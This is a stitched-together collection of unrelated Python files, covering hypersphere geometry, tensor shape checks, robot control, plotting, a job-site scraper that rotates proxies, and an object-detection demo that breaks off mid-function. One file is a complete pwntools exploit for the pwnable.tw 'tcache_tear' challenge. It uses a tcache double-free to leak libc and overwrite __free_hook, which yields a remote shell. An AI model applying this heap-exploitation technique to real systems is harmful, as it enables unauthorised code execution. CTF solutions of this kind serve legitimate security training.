from geomstats.riemannian_metric import RiemannianMetric
import geomstats.vectorization as vectorization
TOLERANCE = 1e-12
SIN_TAYLOR_COEFFS = [0., 1.,
0., - 1 / math.factorial(3),
0., + 1 / math.factorial(5),
0., - 1 / math.factorial(7),
0., + 1 / math.factorial(9)]
COS_TAYLOR_COEFFS = [1., 0.,
- 1 / math.factorial(2), 0.,
+ 1 / math.factorial(4), 0.,
- 1 / math.factorial(6), 0.,
+ 1 / math.factorial(8), 0.]
INV_SIN_TAYLOR_COEFFS = [0., 1. / 6.,
0., 7. / 360.,
0., 31. / 15120.,
0., 127. / 604800.]
INV_TAN_TAYLOR_COEFFS = [0., - 1. / 3.,
0., - 1. / 45.,
0., - 2. / 945.,
0., -1. / 4725.]
class Hypersphere(Manifold):
"""Hypersphere embedded in Euclidean space."""
def __init__(self, dimension):
self.dimension = dimension
self.metric = HypersphereMetric(dimension)
self.embedding_metric = EuclideanMetric(dimension + 1)
def belongs(self, point, tolerance=TOLERANCE):
"""
By definition, a point on the Hypersphere has squared norm 1
in the embedding Euclidean space.
Note: point must be given in extrinsic coordinates.
"""
point = vectorization.expand_dims(point, to_ndim=2)
_, point_dim = point.shape
if point_dim is not self.dimension + 1:
if point_dim is self.dimension:
logging.warning('Use the extrinsic coordinates to '
'represent points on the hypersphere.')
return False
sq_norm = self.embedding_metric.squared_norm(point)
diff = np.abs(sq_norm - 1)
return diff < tolerance
def projection_to_tangent_space(self, vector, base_point):
"""
Project the vector vector onto the tangent space:
T_{base_point} S = {w | scal(w, base_point) = 0}
"""
assert self.belongs(base_point)
sq_norm = self.embedding_metric.squared_norm(base_point)
inner_prod = self.embedding_metric.inner_product(base_point, vector)
tangent_vec = (vector - inner_prod / sq_norm * base_point)
return tangent_vec
def intrinsic_to_extrinsic_coords(self, point_intrinsic):
"""
From some intrinsic coordinates in the Hypersphere,
to the extrinsic coordinates in Euclidean space.
"""
point_intrinsic = vectorization.expand_dims(point_intrinsic,
to_ndim=2)
n_points, _ = point_intrinsic.shape
dimension = self.dimension
point_extrinsic = np.zeros((n_points, dimension + 1))
point_extrinsic[:, 1: dimension + 1] = point_intrinsic[:, 0: dimension]
point_extrinsic[:, 0] = np.sqrt(1. - np.linalg.norm(
point_intrinsic,
axis=1) ** 2)
assert np.all(self.belongs(point_extrinsic))
assert point_extrinsic.ndim == 2
return point_extrinsic
def extrinsic_to_intrinsic_coords(self, point_extrinsic):
"""
From the extrinsic coordinates in Euclidean space,
to some intrinsic coordinates in Hypersphere.
"""
point_extrinsic = vectorization.expand_dims(point_extrinsic,
to_ndim=2)
assert np.all(self.belongs(point_extrinsic))
point_intrinsic = point_extrinsic[:, 1:]
assert point_intrinsic.ndim == 2
return point_intrinsic
def random_uniform(self, n_samples=1, max_norm=1):
"""
Generate random elements on the Hypersphere.
"""
point = ((np.random.rand(n_samples, self.dimension) - .5)
* max_norm)
point = self.intrinsic_to_extrinsic_coords(point)
assert np.all(self.belongs(point))
assert point.ndim == 2
return point
class HypersphereMetric(RiemannianMetric):
def __init__(self, dimension):
self.dimension = dimension
self.signature = (dimension, 0, 0)
self.embedding_metric = EuclideanMetric(dimension + 1)
def squared_norm(self, vector, base_point=None):
"""
Squared norm associated to the Hyperbolic Metric.
"""
sq_norm = self.embedding_metric.squared_norm(vector)
return sq_norm
def exp_basis(self, tangent_vec, base_point):
"""
Compute the Riemannian exponential at point base_point
of tangent vector tangent_vec wrt the metric obtained by
embedding of the n-dimensional sphere
in the (n+1)-dimensional euclidean space.
This gives a point on the n-dimensional sphere.
:param base_point: a point on the n-dimensional sphere
:param vector: (n+1)-dimensional vector
:return exp: a point on the n-dimensional sphere
"""
norm_tangent_vec = self.embedding_metric.norm(tangent_vec)
if np.isclose(norm_tangent_vec, 0):
coef_1 = (1. + COS_TAYLOR_COEFFS[2] * norm_tangent_vec ** 2
+ COS_TAYLOR_COEFFS[4] * norm_tangent_vec ** 4
+ COS_TAYLOR_COEFFS[6] * norm_tangent_vec ** 6
+ COS_TAYLOR_COEFFS[8] * norm_tangent_vec ** 8)
coef_2 = (1. + SIN_TAYLOR_COEFFS[3] * norm_tangent_vec ** 2
+ SIN_TAYLOR_COEFFS[5] * norm_tangent_vec ** 4
+ SIN_TAYLOR_COEFFS[7] * norm_tangent_vec ** 6
+ SIN_TAYLOR_COEFFS[9] * norm_tangent_vec ** 8)
else:
coef_1 = np.cos(norm_tangent_vec)
coef_2 = np.sin(norm_tangent_vec) / norm_tangent_vec
exp = coef_1 * base_point + coef_2 * tangent_vec
return exp
def log_basis(self, point, base_point):
"""
Compute the Riemannian logarithm at point base_point,
of point wrt the metric obtained by
embedding of the n-dimensional sphere
in the (n+1)-dimensional euclidean space.
This gives a tangent vector at point base_point.
:param base_point: point on the n-dimensional sphere
:param point: point on the n-dimensional sphere
:return log: tangent vector at base_point
"""
norm_base_point = self.embedding_metric.norm(base_point)
norm_point = self.embedding_metric.norm(point)
inner_prod = self.embedding_metric.inner_product(base_point, point)
cos_angle = inner_prod / (norm_base_point * norm_point)
if cos_angle >= 1.:
angle = 0.
else:
angle = np.arccos(cos_angle)
if np.isclose(angle, 0):
coef_1 = (1. + INV_SIN_TAYLOR_COEFFS[1] * angle ** 2
+ INV_SIN_TAYLOR_COEFFS[3] * angle ** 4
+ INV_SIN_TAYLOR_COEFFS[5] * angle ** 6
+ INV_SIN_TAYLOR_COEFFS[7] * angle ** 8)
coef_2 = (1. + INV_TAN_TAYLOR_COEFFS[1] * angle ** 2
+ INV_TAN_TAYLOR_COEFFS[3] * angle ** 4
+ INV_TAN_TAYLOR_COEFFS[5] * angle ** 6
+ INV_TAN_TAYLOR_COEFFS[7] * angle ** 8)
else:
coef_1 = angle / np.sin(angle)
coef_2 = angle / np.tan(angle)
log = coef_1 * point - coef_2 * base_point
return log
def dist(self, point_a, point_b):
"""
Compute the Riemannian distance between points
point_a and point_b.
"""
# TODO(nina): case np.dot(unit_vec, unit_vec) != 1
if np.all(point_a == point_b):
return 0.
point_a = vectorization.expand_dims(point_a, to_ndim=2)
point_b = vectorization.expand_dims(point_b, to_ndim=2)
n_points_a, _ = point_a.shape
n_points_b, _ = point_b.shape
assert (n_points_a == n_points_b
or n_points_a == 1
or n_points_b == 1)
n_dists = np.maximum(n_points_a, n_points_b)
dist = np.zeros((n_dists, 1))
norm_a = self.embedding_metric.norm(point_a)
norm_b = self.embedding_metric.norm(point_b)
inner_prod = self.embedding_metric.inner_product(point_a, point_b)
cos_angle = inner_prod / (norm_a * norm_b)
mask_cos_greater_1 = np.greater_equal(cos_angle, 1.)
mask_cos_less_minus_1 = np.less_equal(cos_angle, -1.)
mask_else = ~mask_cos_greater_1 & ~mask_cos_less_minus_1
dist[mask_cos_greater_1] = 0.
dist[mask_cos_less_minus_1] = np.pi
dist[mask_else] = np.arccos(cos_angle[mask_else])
return dist
|
import collections
MESSAGE_NOT_SAME_NUM_TENSOR_DIMS_AS_DECLARED = \
"Tensor '%s' was declared to have %s tensor dim(s) but had %s."
MESSAGE_NOT_SAME_DIM_SIZE_AS_DECLARED_BY = \
"Tensor '%s' dim %s was of size %s but was expected to be %s as declared by '%s' dim %s"
MESSAGE_NOT_CORRECT_STATIC_DIM_SIZE = \
"Tensor '%s' dim %s was of size %s but was expected to be %s as declared directly"
def assert_shapes(declarations):
"""
Validate tensor shapes are matching as specified.
Example:
assert_shapes({
('x', x): ('N', 'Q'),
('y', y): ('N', 'D'),
('gamma', gamma): (1, 'Q'),
})
:param declarations: dict with (name, tensor) keys and (size_0, size_1, ...) values.
size_i:
- values of type int are checked directly.
- values of other types act as symbols for lookups against declarations made by other tensors
"""
_validate("declarations", declarations, [_check_type(dict)])
_validate("declarations' keys", declarations.keys(), [
_check_elements(_check_type(collections.Iterable)),
_check_elements(_check_length(2)),
_check_elements(_check_element_index(1, _check_or(_check_has_attr("get_shape"), _check_has_attr("size")))),
])
# (symbol) => (declaring tensor name, declaring tensor dim, declared value)
shape_declarations = {}
for name, tensor in declarations.keys():
intended_shape_symbols = declarations[(name, tensor)]
actual_shape = _tensor_shape(tensor)
has_same_num_tensor_dim = _num_dim(actual_shape) == _num_dim(intended_shape_symbols)
assert has_same_num_tensor_dim, MESSAGE_NOT_SAME_NUM_TENSOR_DIMS_AS_DECLARED % (
name, len(intended_shape_symbols), len(actual_shape)
)
for i, symbol in _enumerate_shape(intended_shape_symbols):
actual_dim_value = actual_shape[i]
if isinstance(symbol, int):
declared_dim_value = symbol
assert declared_dim_value == actual_dim_value, MESSAGE_NOT_CORRECT_STATIC_DIM_SIZE % (
name, i, actual_dim_value, declared_dim_value
)
elif symbol in shape_declarations:
declarator_name, declarator_dim, declared_dim_value = shape_declarations[symbol]
assert declared_dim_value == actual_dim_value, MESSAGE_NOT_SAME_DIM_SIZE_AS_DECLARED_BY % (
name, i, actual_dim_value, declared_dim_value, declarator_name, declarator_dim
)
else:
shape_declarations[symbol] = (name, i, actual_shape[i])
def _validate(name, value, checks):
for condition, message in checks:
if not condition(value):
raise ValueError(message(name, value))
def _check_elements(check):
condition, message = check
return (
lambda iterable: all(condition(v) for v in iterable),
lambda name, iterable: "%s has invalid element:%s" % (
name,
message("", next(filter(lambda v: not condition(v), enumerate(iterable))))
)
)
def _check_element_index(index, check):
condition, message = check
return (
lambda iterable: condition(iterable[index]),
lambda name, iterable: "%s element %s is invalid:%s" % (
name,
index,
message("", next(filter(lambda v: not condition(v), enumerate(iterable))))
)
)
def _check_type(type):
return (
lambda value: isinstance(value, type),
lambda name, value: "%s must be of type %s but is of type %s" % (name, type, type(value))
)
def _check_length(length):
return (
lambda value: len(value) == length,
lambda name, value: "%s must be of length %s but is of length %s" % (name, length, len(value))
)
def _check_has_attr(attribute):
return (
lambda value: hasattr(value, attribute),
lambda name, value: "%s does not have attribute '%s'" % (name, attribute)
)
def _check_or(check_a, check_b):
condtion_a, message_a = check_a
condtion_b, message_b = check_b
return (
lambda value: condtion_a(value) or condtion_b(value),
lambda name, value: "%s failed with both:'%s and %s" % (name, message_a(name, value), message_b(name, value))
)
def _tensor_shape(tensor):
if hasattr(tensor, "get_shape"):
return tensor.get_shape().as_list()
elif hasattr(tensor, "size"):
return list(tensor.size())
else:
raise ValueError("Cannot determine size of tensor of type: %s" % type(tensor))
def _num_dim(shape):
if isinstance(shape, collections.Iterable):
return len(shape)
else:
return 1
def _enumerate_shape(shape):
if isinstance(shape, collections.Iterable):
return enumerate(shape)
else:
return [(0, shape)]
|
class Solution:
def frequencySort(self, s):
"""
:type s: str
:rtype: str
"""
temp = {}
for i in s:
if i not in temp.keys():
temp[i] = 1
else:
temp[i] += 1
temp2 = []
for key in temp.keys():
temp2.append((key, temp[key]))
temp2 = sorted(temp2, key=lambda x: x[1], reverse=True)
result = ''
for i in temp2:
result += i[0]*i[1]
return result
print(Solution().frequencySort('apple'))
|
import time
from rm import Robomaster
import threading
import socket
import os
import sys
import socket
def testattitudepush(data):
print(data)
def main(mode='host'):
robot_ip = '192.168.2.1'
robot = Robomaster()
if mode == 'network':
robot_ip = robotlistener()
if robot_ip == '':
print('no robot connected to network')
robot_ip = '192.168.2.1'
if robot.start_sdk_session(robot_ip) == 1:
robot.instruct('chassis push attitude on status on position on')
time.sleep(1)
print(robot.instruct('sound event applause on'))
robot.inform(testattitudepush)
print(robot.instruct('armor event hit on'))
print(robot.instruct('sensor_adapter event io_level on'))
print(robot.instruct('gimbal push attitude on'))
time.sleep(1)
robot.instruct('gimbal moveto p 20 y 50 vp 100 vy 100')
time.sleep(2)
print(robot.gimbal_x)
print(robot.gimbal_y)
print(robot.instruct('chassis position ?'))
time.sleep(1)
print(robot.instruct('chassis wheel w1 0 w2 0 w3 0 w4 0'))
time.sleep(1)
i = 0
while i < 100:
i = i + 1
time.sleep(0.1) #loop for you to clap to test event callback
print(robot_ip.instruct('chassis wheel w9 20 w2 20 w3 30 w5 40'))
time.sleep(1)
robot.quit_sdk_session()
else:
print('connection failed')
def robotlistener():
try:
broad_sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
broad_address = ('0.0.0.0', 40926)
broad_sock.bind(broad_address)
found_robot_ip = ''
i = 0
print('waiting for broadcast')
while found_robot_ip == '' and i < 10:
data, address = broad_sock.recvfrom(4096)
d = data.decode('UTF-8')
print("Received broadcast from %s - %s " % (address, d))
if 'robot ip' in d:
s = d.split()
if len(s) >= 3:
found_robot_ip = s[2]
try:
socket.inet_aton(found_robot_ip)
print('Found robot - %s' % found_robot_ip)
except socket.error:
found_robot_ip =''
print('invalid ip address.')
else:
print('not robot ip broadcast')
else:
print('not robot ip broadcast')
i = i + 1
time.sleep(0.5)
print('scan %s' % str(i))
return found_robot_ip
except socket.error as err:
print("Unable to listen for robots - %s" % err)
sys.exit(0)
if __name__ == "__main__":
try:
main('host') # main('network') if you wish to try using router mode
except KeyboardInterrupt:
e.close()
sys.exit(0) |
# coding=utf-8
##################################
### Importaciones #########
##################################
## Importamos diccionarios
from dictionaries.dictionary import LANGUAGE_DICTIONARY as LANGUAGES
## Importamos driver de Hardware
from drivers import Hardware, RPIHat
## Importacion de objetos
from services.HAS import HomeAssistantService
#############################################
## Instancia del hardware ##
#############################################
hardware = Hardware.Make(RPIHat.Respeaker4Mic)
##############################################
## Instanciamos servicios ##
##############################################
## Instanciamos el servicio Melissa
melissa = HomeAssistantService(LANGUAGES["ES-ES"], hardware)
## Iniciamos el servicio
melissa.start_service() |
from mpl_toolkits.mplot3d import Axes3D
import matplotlib.pyplot as plt
from matplotlib import cm
from matplotlib.ticker import LinearLocator, FormatStrFormatter
import numpy as np
from math import *
import sys
fig = plt.figure()
ax = fig.gca(projection='3d')
sliceNumber = 1000
epsilon = 2*pi / sliceNumber
# Make data.
X = np.arange(-2*pi, 2*pi, epsilon)
Y = np.arange(-2*pi, 2*pi, epsilon)
X, Y = np.meshgrid(X, Y)
if len(sys.argv)<2:
raise "please input file name"
else:
filename = sys.argv[1]
f = open(filename,"r")
Z = np.loadtxt(f, delimiter=", ")
f.close()
# Plot the surface.
surf = ax.plot_surface(X, Y, Z, cmap=cm.coolwarm,
linewidth=0, antialiased=False)
# Customize the z axis.
ax.set_zlim(-100.01, 100.01)
ax.zaxis.set_major_locator(LinearLocator(10))
ax.zaxis.set_major_formatter(FormatStrFormatter('%.02f'))
# Add a color bar which maps values to colors.
fig.colorbar(surf, shrink=0.5, aspect=5)
plt.show()
|
my_foods = ['pizza', 'falafel', 'carrot cake']
firend_foods = my_foods[:]
fireend_foods = my_foods
print("My favorite foods are:")
print(my_foods)
print("\nMy firend's favorite foods are:")
print(firend_foods)
|
from api.admin_resources import app
class MyLogger(object):
@classmethod
def info(cls, *args, **kwargs):
app.logger.info(*args, **kwargs)
@classmethod
def warning(cls, *args, **kwargs):
app.logger.warning(*args, **kwargs)
@classmethod
def error(cls, *args, **kwargs):
app.logger.info(*args, **kwargs)
@classmethod
def debug(cls, *args, **kwargs):
app.logger.debug(*args, **kwargs) |
import csv
import numpy as np
import matplotlib.pyplot as plt
datax = []
datay = []
xHeading = ''
yHeading = ''
title = ''
with open('Data.csv') as csv_file:
csv_reader = csv.reader(csv_file, delimiter=',')
line_count = 0
for row in csv_reader:
if line_count == 1:
#column headings
xHeading = row[0]
yHeading = row[1]
elif line_count == 0:
#titles
title = row[0]
else:
datax.append(row[0])
datay.append(row[1])
line_count += 1
x = np.array(datax, dtype=float)
y = np.array(datay, dtype=float)
A = np.vstack([x, np.ones(len(x))]).T
mc = np.linalg.solve(np.dot(A.T,A), np.dot(A.T,y))
plt.plot(x, y, 'o', label = 'Data', markersize= 2)
plt.plot(x, mc[0]*x + mc[1], 'r', label= 'Linear Regression')
plt.legend()
plt.xlabel(xHeading)
plt.ylabel(yHeading)
plt.title(title)
plt.show() |
from __future__ import absolute_import
from .hls_model import HLSModel, HLSConfig |
# -*- coding: utf-8 -*-
"""
Tests for generation of all valid configs defined by a genfile schema.
Created on Sun Jul 10 19:59:26 2016
@author: Aaron Beckett
"""
import pytest
import json
from ctip import GenSchema
def test_single_var_single_arg():
"""Test gen schema containing one variable with one argument."""
configs = json.load(open("tests/resources/configs1.json"))
schema = GenSchema()
schema.add_values("type", "long")
pytest.helpers.compare_configs(configs, schema)
def test_single_var_multiple_args():
"""Test gen schema containing one variable with multiple arguments."""
configs = json.load(open("tests/resources/configs2.json"))
schema = GenSchema()
schema.add_values("type", "long", "recurve")
pytest.helpers.compare_configs(configs, schema)
def test_multiple_vars():
"""Test gen schema containing multiple variables."""
configs = json.load(open("tests/resources/configs3.json"))
schema = GenSchema()
schema.add_values("type", "long", "recurve")
schema.add_values("wood", "osage orange", "yew", "oak", "hickory")
pytest.helpers.compare_configs(configs, schema)
def test_simple_nested_gen():
"""Test gen schema containing nested arguments on preconstructed variables."""
configs = json.load(open("tests/resources/configs4.json"))
schema = GenSchema()
schema.add_values("type", "long", "recurve")
long_dep = GenSchema()
long_dep.add_values("length", 66, 72)
schema.add_dependencies("type", "long", long_dep)
recurve_dep = GenSchema()
recurve_dep.add_values("length", 42, 46)
schema.add_dependencies("type", "recurve", recurve_dep)
pytest.helpers.compare_configs(configs, schema)
def test_multiple_vars_in_nested_gen():
"""Test gen schema containing multiple variables in a nested schema."""
configs = json.load(open("tests/resources/configs6.json"))
schema = GenSchema()
schema.add_values("type", "long", "recurve")
long_dep = GenSchema()
long_dep.add_values("length", 42, 46)
long_dep.add_values("wood", "osage orange", "yew")
schema.add_dependencies("type", "long", long_dep)
recurve_dep = GenSchema()
recurve_dep.add_values("length", 66, 72)
recurve_dep.add_values("wood", "hickory")
schema.add_dependencies("type", "recurve", recurve_dep)
pytest.helpers.compare_configs(configs, schema)
def test_incomplete_nested_gen():
"""Test gen schema with nested schema on only one arg of a multi-arg variable."""
configs = json.load(open("tests/resources/configs7.json"))
schema = GenSchema()
schema.add_values("type", "long", "recurve")
long_dep = GenSchema()
long_dep.add_values("primitive", "yes", "no")
schema.add_dependencies("type", "long", long_dep)
pytest.helpers.compare_configs(configs, schema)
def test_multiple_nests():
"""Test gen schema with nested schemas under multiple variables."""
configs = json.load(open("tests/resources/configs8.json"))
schema = GenSchema()
schema.add_values("type", "long", "recurve")
schema.add_values("pokemon_type", "water", "fire")
long_dep = GenSchema()
long_dep.add_values("length", 66, 70)
schema.add_dependencies("type", "long", long_dep)
recurve_dep = GenSchema()
recurve_dep.add_values("length", 44, 45)
schema.add_dependencies("type", "recurve", recurve_dep)
water_dep = GenSchema()
water_dep.add_values("name", "Squirtle", "Lapras")
schema.add_dependencies("pokemon_type", "water", water_dep)
fire_dep = GenSchema()
fire_dep.add_values("name", "Charmander", "Vulpix")
schema.add_dependencies("pokemon_type", "fire", fire_dep)
pytest.helpers.compare_configs(configs, schema)
def test_multi_nested():
"""Test gen schema with multiple levels of nexting under one argument."""
configs = json.load(open("tests/resources/configs9.json"))
schema = GenSchema()
schema.add_values("decoder", "Hypercube")
gates = GenSchema()
gates.add_values("gates", 12, 15)
c1 = GenSchema()
c1.add_values("complexity", 2, 3)
l1 = GenSchema()
l1.add_values("length", 80)
c1.add_dependencies("complexity", 2, l1)
l2 = GenSchema()
l2.add_values("length", 110)
c1.add_dependencies("complexity", 3, l2)
c2 = GenSchema()
c2.add_values("complexity", 2, 3)
l3 = GenSchema()
l3.add_values("length", 116)
c2.add_dependencies("complexity", 2, l3)
l4 = GenSchema()
l4.add_values("length", 140, 158)
c2.add_dependencies("complexity", 3, l4)
gates.add_dependencies("gates", 12, c1)
gates.add_dependencies("gates", 15, c2)
schema.add_dependencies("decoder", "Hypercube", gates)
pytest.helpers.compare_configs(configs, schema)
|
from setuptools import setup, find_packages
setup( name="nmf_q",
version="0.10",
author="hanfei sun",
license="LGPL",
scripts=["./nmfQ.py","./nmfRec.py"],
packages= find_packages())
|
import os
# Monitor
BASE_URL = r'https://pass.rzd.ru/timetable/public/en?layer_id=5764'
SLEEP_AFTER_RID_REQUEST = 1
SLEEP_AFTER_UNSUCCESSFUL_REQUEST = 1
REQUEST_ATTEMPTS = 10
BASIC_DELAY_BASE = 20
HEADERS = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
}
SOCKS5_PROXY_STRING = os.getenv('SOCKS5_PROXY_STRING')
# Suggest station
MIN_SUGGESTS_SIMILARITY = 70
SUGGESTS_LIMIT = 5
SUGGESTS_BASE_URL = r'http://www.rzd.ru/suggester'
# Suggest train
SUGGEST_TRAINS_URL = r'https://pass.rzd.ru/timetable/public/ru?layer_id=5827'
# Dates
DATE_FORMAT = '%d.%m.%Y'
TIME_FORMAT = '%H:%M'
DATETIME_PARSE_FORMAT = f'{DATE_FORMAT} {TIME_FORMAT}'
DATES_INTERVAL = 121
# Train
STRING_RANGE_SEP = '-'
STRING_LIST_SEP = ','
LAST_COUPE_SEAT = 36
CANNOT_FETCH_RESULT_FROM_RZD = 'Cannot fetch result from RZD site.'
LOGGER_NAME = 'rzd_client'
CHAR_CODE_BY_SERVICE_CATEGORY_MAPPER = {
1: 'Плац',
3: 'Сид',
4: 'Купе',
5: 'Мягкий',
6: 'Люкс',
}
UNKNOWN_STR = 'Unknown'
|
from datetime import date
import boundaries
boundaries.register('St. Catharines wards',
domain='St. Catharines, ON',
last_updated=date(2012, 9, 18),
name_func=boundaries.clean_attr('WardName'),
authority='City of St. Catharines',
encoding='iso-8859-1',
metadata={'geographic_code': '3526053'},
)
|
from pwn import *
r = remote("chall.pwnable.tw", 10207)
#r = process("./tcache_tear")
l = ELF("libc.so")
def malloc(size, data):
r.sendlineafter("Your choice :", "1")
r.sendlineafter("Size:", str(size))
r.sendlineafter("Data:", data)
def free():
r.sendlineafter("Your choice :", "2")
def info():
r.sendlineafter("Your choice :", "3")
def exit():
r.sendlineafter("Your choice :", "4")
r.sendlineafter("Name:", "hank0438")
info()
r.recvuntil("Name :")
name = r.recvuntil("$$$")[:-3]
print(name)
### construct fake chunk
malloc(0x70, "aaa")
free()
free()
malloc(0x70, p64(0x602550))
malloc(0x70, "bbb")
malloc(0x70, p64(0) + p64(0x21) + p64(0)*3 + p64(0x21))
input("@")
### construct fake chunk at name
malloc(0x60, "aaa")
free()
free()
malloc(0x60, p64(0x602060 - 0x10))
malloc(0x60, "ccc")
malloc(0x60, p64(0) + p64(0x501) + p64(0)*5 + p64(0x602060))
input("@")
### use info() leak libc_base
free()
info()
r.recvuntil("Name :")
libc_base = u64(r.recvuntil("$$$")[:8]) - 0x3ebca0
print(hex(libc_base))
input("@")
### prepare some useful libc function
free_hook = l.symbols[b'__free_hook']
#print("__free_hook: ", hex(free_hook))
bash_offset = next(l.search('/bin/sh'))
#print("bash_offset: ", hex(bash_offset))
system_offset = l.symbols[b'system']
#print("system_offset: ", hex(system_offset))
### write free_hook
malloc(0x50, "aaa")
free()
free()
malloc(0x50, p64(libc_base + free_hook))
malloc(0x50, "ddd")
#malloc(0x50, p64(libc_base + system_offset))
malloc(0x50, p64(libc_base + 0x4f322))
input("@")
malloc(0x20, "aaa")
free()
### system("/bin/sh")
#r.sendafter("> ", "1")
#r.sendafter("Size: ", str(libc_base + bash_offset))
r.interactive() |
def caracter(string,c):
valor = 0
for num in string:
if(num == c):
valor += 1
return valor
string = input()
c = input()
valor = caracter(string,c)
if valor == 0:
print("Caractere nao encontrado.")
else:
print("O caractere buscado ocorre", valor, "vezes na sequencia.")
|
import time
RANGE_STOP = eval(input("RANGE STOP > "))
def recursive_iterationSort(arr, n):
if n <= 1:
return
recursive_iterationSort(arr, n-1)
last = arr[len(arr)-1]
j = len(arr)-2
while j >= 0 and arr[j] > last:
arr[j+1] = arr[j]
j -= 1
arr[j+1] = last
n = list(range(1, RANGE_STOP+1, 1))[::-1]
print("Array before : {0}".format(n))
start = time.perf_counter()
recursive_iterationSort(n, len(n))
for i in range(3):
print()
print("Array after : {0}".format(n))
print("Time needed : {0}".format(time.perf_counter() - start))
|
from core.base import Base
try:
from .base import *
except:
from base import *
class Liepin(SpiderBase, Base):
name = 'lagou'
def __init__(self, logger=None, *args):
super(Liepin, self).__init__(logger, *args)
def query_list_page(self, key, page_to_go):
l = self.l
dq, industry = key.split("+")
headers = {
'Connection': 'keep-alive',
'Cache-Control': 'max-age=0',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
'Referer': 'https://www.liepin.com/company/so/?pagesize=30&keywords=&dq=280020&industry=030',
'Accept-Encoding': 'gzip, deflate, br',
'Accept-Language': 'zh-CN,zh;q=0.9',
}
params = (
('pagesize', '30'),
('keywords', ''),
('dq', dq),
('industry', industry),
('curPage', int(page_to_go) - 1),
)
proxy_change_time = 0
while True:
if proxy_change_time >= 20:
l.info("20 times retry with no right response~")
break
try:
self.get_proxy()
proxy_change_time += 1
response = requests.get('https://www.liepin.com/company/so/', headers=headers, params=params,
proxies=self.proxy, timeout=30)
except:
self.proxy_fa += 1 # 当代理不可用时计数加一
time.sleep(1)
continue
if response.status_code == 200:
if "末页" in response.text:
print("search success!!!")
return response.text
elif "没有符合搜索条件的企业" in response.text:
l.info(f"没有符合搜索条件的企业:{key}")
return ""
else:
l.info("公司的搜索页面有问题")
l.info(f"res is:{response.text}")
self.proxy = {}
continue
else:
l.error(f"response status_code is wrong:{response.status_code}")
self.proxy = {}
continue
return ""
def query_detail_page(self, url):
l = self.l
headers = {
'Connection': 'keep-alive',
'Cache-Control': 'max-age=0',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
'Accept-Encoding': 'gzip, deflate, br',
'Accept-Language': 'zh-CN,zh;q=0.9',
}
proxy_change_time = 0
while True:
if proxy_change_time >= 20:
l.info("20 times retry with no right response~")
break
try:
self.get_proxy()
proxy_change_time += 1
response = requests.get(url, headers=headers, proxies=self.proxy, timeout=30)
except:
self.proxy_fa += 1 # 当代理不可用时计数加一
time.sleep(1)
continue
if response.status_code == 200:
if "招聘职位" in response.text:
print("resume success!!!")
return response.text
else:
l.info(f'请求的url:{url}')
l.info("公司的详情页面有问题")
self.proxy = {}
continue
else:
l.error(f"response status_code is wrong:{response.status_code}")
self.proxy = {}
continue
return ""
if __name__ == '__main__':
l = Liepin()
res_list = l.query_list_page("050090110+400", 1)
print(res_list)
res_resume = l.query_detail_page("https://www.liepin.com/company/8051055/")
print(res_resume) |
#!/usr/bin/env python
# --------------------------------------------------------
# Tensorflow Faster R-CNN
# Licensed under The MIT License [see LICENSE for details]
# Written by Xinlei Chen, based on code from Ross Girshick
# Edited by Matthew Seals
# --------------------------------------------------------
"""
Demo script showing detections in sample images.
See README.md for installation instructions before running.
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import _init_paths
from model.config import cfg
from model.test import im_detect
from model.nms_wrapper import nms
from utils.timer import Timer
import matplotlib.pyplot as plt
import numpy as np
import os
import cv2
import argparse
from matplotlib import cm
from nets.vgg16 import vgg16
from nets.resnet_v1 import resnetv1
from MeshPly import Meshply
import torch
CLASSES = ('__background__',
'ape')
NETS = {'vgg16': ('vgg16_faster_rcnn_iter_%d.pth',), 'res101': ('res101_faster_rcnn_iter_%d.pth',)}
DATASETS = {'pascal_voc': ('voc_2007_trainval',), 'pascal_voc_0712': ('voc_2007_trainval+voc_2012_trainval',)}
COLORS = [cm.tab10(i) for i in np.linspace(0., 1., 10)]
def show_result_3points(frontp1, frontp2, fcenterp, backp1, backp2, bcenterp, centerp, img):
# img = cv2.imread(filename)
x1 = frontp1[0]
y1 = frontp1[1]
dw1 = frontp1[2]
dh1 = frontp1[3]
cx1 = fcenterp[0]
cy1 = fcenterp[1]
x3 = frontp2[0]
y3 = frontp2[1]
dw2 = frontp2[2]
dh2 = frontp2[3]
# point1, point4
if cx1 > x1:
x4 = x1 + dw1
if cy1 > y1:
y4 = y1 + dh1
else:
y4 = y1 - dh1
else:
x4 = x1 - dw1
if cy1 > y1:
y4 = y1 + dh1
else:
y4 = y1 - dh1
# point3, points2
if cx1 > x3:
x2 = x3 + dw2
if cy1 > y3:
y2 = y3 + dh2
else:
y2 = y3 - dh2
else:
x2 = x3 - dw2
if cy1 > y3:
y2 = y3 + dh2
else:
y2 = y3 - dh2
# cv2.line(img, (x1,y1), (x4, y4), 255, 2)
# cv2.line(img, (x3, y3), (x2, y2), 255, 2)
# cv2.line(img, (x1,y1), (x2, y2), 255, 2)
# cv2.line(img, (x1, y1), (x3, y3), 255, 2)
# cv2.line(img, (x2,y2), (x4, y4), 255, 2)
# cv2.line(img, (x3, y3), (x4, y4), 255, 2)
x5 = backp1[0]
y5 = backp1[1]
dw5 = backp1[2]
dh5 = backp1[3]
cx2 = bcenterp[0]
cy2 = bcenterp[1]
x7 = backp2[0]
y7 = backp2[1]
dw6 = backp2[2]
dh6 = backp2[3]
# point1, point4
if cx2 > x5:
x8 = x5 + dw5
if cy2 > y5:
y8 = y5 + dh5
else:
y8 = y5 - dh5
else:
x8 = x5 - dw5
if cy2 > y5:
y8 = y5 + dh5
else:
y8 = y5 - dh5
# point3, points2
if cx2 > x7:
x6 = x7 + dw6
if cy2 > y7:
y6 = y7 + dh6
else:
y6 = y7 - dh6
else:
x6 = x7 - dw6
